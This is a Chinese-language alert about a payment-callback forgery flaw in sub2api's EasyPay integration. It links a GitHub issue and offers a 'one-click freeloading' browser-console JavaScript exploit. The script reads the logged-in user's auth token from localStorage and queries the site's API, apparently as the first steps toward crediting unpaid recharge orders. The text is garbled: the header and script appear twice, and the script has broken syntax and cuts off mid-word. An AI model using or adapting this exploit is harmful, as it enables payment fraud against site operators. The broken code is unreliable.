🚨 sub2api 易支付高危漏洞预警:可伪造支付成功回调入账
危害:攻击者无需知道商户密钥 pkey,复用下单签名即可伪造“支付成功”回调,使充值订单被判定为已支付,直接冲击余额/充值资金安全。
影响范围:使用 sub2api + 开启 易支付 EasyPay + popup / submit.php 跳转模式
🔗 Issue:https://github.com/Wei-Shaw/sub2api/issues/7881
🛠 一键白嫖脚本
const AMOUNT = 60;
(async () => {
const HOST = location.origin, API = HOST + '/api/v1';
const TOK = localStorage.getItem('auth_token');
if (!TOK) { console.log('未登录:localStorage.auth_token 为空'); return; }
const H = { Authorization: 'Bearer ' + TOK, 'Content-Type': 'application/json', Accept: 'application/json' };
const GET = async u => (await fetch(API + u, { headers: H })).json();
const POST = async (u, b) => (await fetch(API + u, { method: 'POST', headers: H, body: JSON.stringify(b) })).json();
const num = v => (isNaN(Number(v)) ? 0 : Number(v));
const pub = await GET('/settings/public');
const pd = (pub && pub.data) {};
console.log('版本:', pd.version, '| 站点:', pd.site_name);
const cfg = ((await GET('/payment/config')) {}).data || {};
if (!cfg.enabled) { cons
危害:攻击者无需知道商户密钥 pkey,复用下单签名即可伪造“支付成功”回调,使充值订单被判定为已支付,直接冲击余额/充值资金安全。
影响范围:使用 sub2api + 开启 易支付 EasyPay + popup / submit.php 跳转模式
🔗 Issue:https://github.com/Wei-Shaw/sub2api/issues/7881
🛠 一键白嫖脚本
const AMOUNT = 60;
(async () => {
const HOST = location.origin, API = HOST + '/api/v1';
const TOK = localStorage.getItem('auth_token');
if (!TOK) { console.log('未登录:localStorage.auth_token 为空'); return; }
const H = { Authorization: 'Bearer ' + TOK, 'Content-Type': 'application/json', Accept: 'application/json' };
const GET = async u => (await fetch(API + u, { headers: H })).json();
const POST = async (u, b) => (await fetch(API + u, { method: 'POST', headers: H, body: JSON.stringify(b) })).json();
const num = v => (isNaN(Number(v)) ? 0 : Number(v));
const pub = await GET('/settings/public');
const pd = (pub && pub.data) {};
console.log('版本:', pd.version, '| 站点:', pd.site_name);
const cfg = ((await GET('/payment/config')) {}).data || {};
if (!cfg.enabled) { cons